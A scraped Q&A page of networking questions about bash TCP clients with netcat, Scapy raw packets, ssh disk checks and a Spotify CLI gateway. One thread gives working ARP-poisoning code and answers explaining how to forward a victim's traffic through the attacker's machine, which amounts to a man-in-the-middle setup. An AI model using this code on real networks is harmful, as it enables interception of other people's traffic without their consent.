TCP client in bash - python

I have a TCP server written in python and clients in bash.
Client sends data like this
cat file > /dev/tcp/ip/port
and python server sends the response
clientsocket.send('some response')
I can send my data to server, it works fine but when server tries to send response my bash script blocks itself. I tried to use descriptors like below:
exec 3<>/dev/tcp/ip/port
cat file >&3
RESPOND=`cat <&3`
echo $RESPOND
but it does not work (blocks itself)
Thanks in advance

Try using netcat or nc instead. You can set up a server to listen on port 1234 with
command=$(netcat -l 1234)
and you can transmit a message to that host on that port with
echo "message" | nc <host> 1234
or send a file with
nc <host> 1234 < someFile.txt

Related

Sending external messages to Telegram CLI while preserving msg_id from current session

I am running Telegram CLI as a daemon on my localhost .
I need to forward messages from my current session while using the original msg_id .
For that matter I use the following bash command :
echo -e 'fwd peer msg_id' | nc.traditional -w 1 127.0.0.1 1234
The problem is when the command is sent it's like a new session is being opened and it can't detect the correct msg_id of the running daemon :
ANSWER 26
FAIL: 22: unknown message
How can I externally send a message to my daemon while using the msg_ids from the current session ?

packet forwarding while ARP poisoning [in Windows]

I wanted to make a "proxy" while ARP poisoning, it works with UDP and if I send a pkt to google I see it on my pc using wireshark
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
that is the function i wrote to arp poison, now I want to send all the packets I get from the victim's pc to the router/
but I have no clue how to do packet forwarding.
You can simply activate your OS packet forwarding. If you're running Linux, a simple sysctl -w net.ipv4.ip_forward=1 should do that.
You may also need to let the packets pass your firewall;something like iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT should work (if you're using Linux, again).
Under other OSes, you need to find out how to enable packet forwarding and if needed add firewall rules. If you cannot enable packet forwarding, you can run another Scapy script to forward packets for you. Here is an example:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)

Scapy and TCP stack: avoid the TCP stack of my system to send an RST

I have the following scapy scipt
a=IP(dst="192.168.10.71")/TCP(sport=13998, dport=14010, flags="S", window=1400)
sr1(a)
a=IP(dst="192.168.10.71")/TCP(sport=13998, dport=14010, flags="A", window=1400)
sr1(a)
The first packet is sent to the destination tcp server
Then I received an SYN+ACK from the TCP server:
Then look that the TCP stack of my system send an RST TCP packet, befor that my script send the second TCP packet (ACK) as indicated in the above script
How to avoid the TCP stack of my sytem to send the RST TCP packet after receiving the SYN+ACK from the server? and send instead of it my second TCP packet as indicated in the script?
By the way my TCP server is:
<?php
$socket = stream_socket_server("tcp://0.0.0.0:14010", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
echo "SERVER TCP (port 14010) started!";
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
fclose($conn);
}
fclose($socket);
}
?>
The answer to the question is in the following topic:
should add this ip table command
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.2.68 -j DROP

subprocess stdout and stderr while doing ssh

I want to know the disk usage of remote servers and i thought of doing it using ssh
here's what i have done so far:-
def disk_usage(server):
msg=""
ps = subprocess.Popen(["ssh", "-o", "BatchMode=yes", "-l", "mygroup", server, "df -k /some/directory"], stdout=subprocess.PIPE)
out, err = ps.communicate()
if err != None:
msg += "\n"+err
else:
msg = out
return msg
Final_msg = ""
server_list= ['server A','server B','server C']
for server in server_list:
Final_msg+="For Server :"+server+"\n"+disk_usage(server)
print Final_msg
The script works fine, but problem is when the ssh for any server is not configured it just displays a blank output for that server
Output:-
For Server A :
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/cfd/ace 8064048 3581524 4072892 47% /app
For Server B :
For server C :
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/wsa/ace 306423 244524 23243434 90% /app
Here ssh for server B is not configured so i'm getting a blank output because the batchmode is on (BatchMode=yes) for all the ssh connections, but i want the user to know why there was no output.
when i run the same command on the shell for the sever where ssh is not configured i get the below error:
Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).
I want the same error in my output of the script for that particular server where ssh is not configured.
any ideas?
To detect that an error happened, you should check the returncode attribute of the Popen object (ps).
To get the output from stderr, you have to pass stderr=subprocess.PIPE to Popen, just as you do for stdout.
if your local machine has static ip i would recommend using sockets so your data usage script will connect to your local machine and deliver data.
or if you have domain to post your server info to your web app via urllib.

Interfacing with the despotify gateway

I'm using despotify, a CLI spotify client, in a little project of mine. One way of interfacing with despotify is with the gateway (http://despotify.se/clients/). I can start the gateway and it will listen at localhost at port 8080, but I have no idea how to pass commands and arguments. You can't do something like "127.0.0.1:8080/login?username=user&password=pass", as it returns an error. Has anyone else worked with despotify?
if you launch despotify from your CLI, it should show you this message:
Usage: ./despotify <username> <password>
This video shows you a basic introduction, it's the best place to start from
Just netcat or telnet to your gateway and use the commands:
nc localhost 8080
login user password
200 0 OK Login successful
search someartist

Categories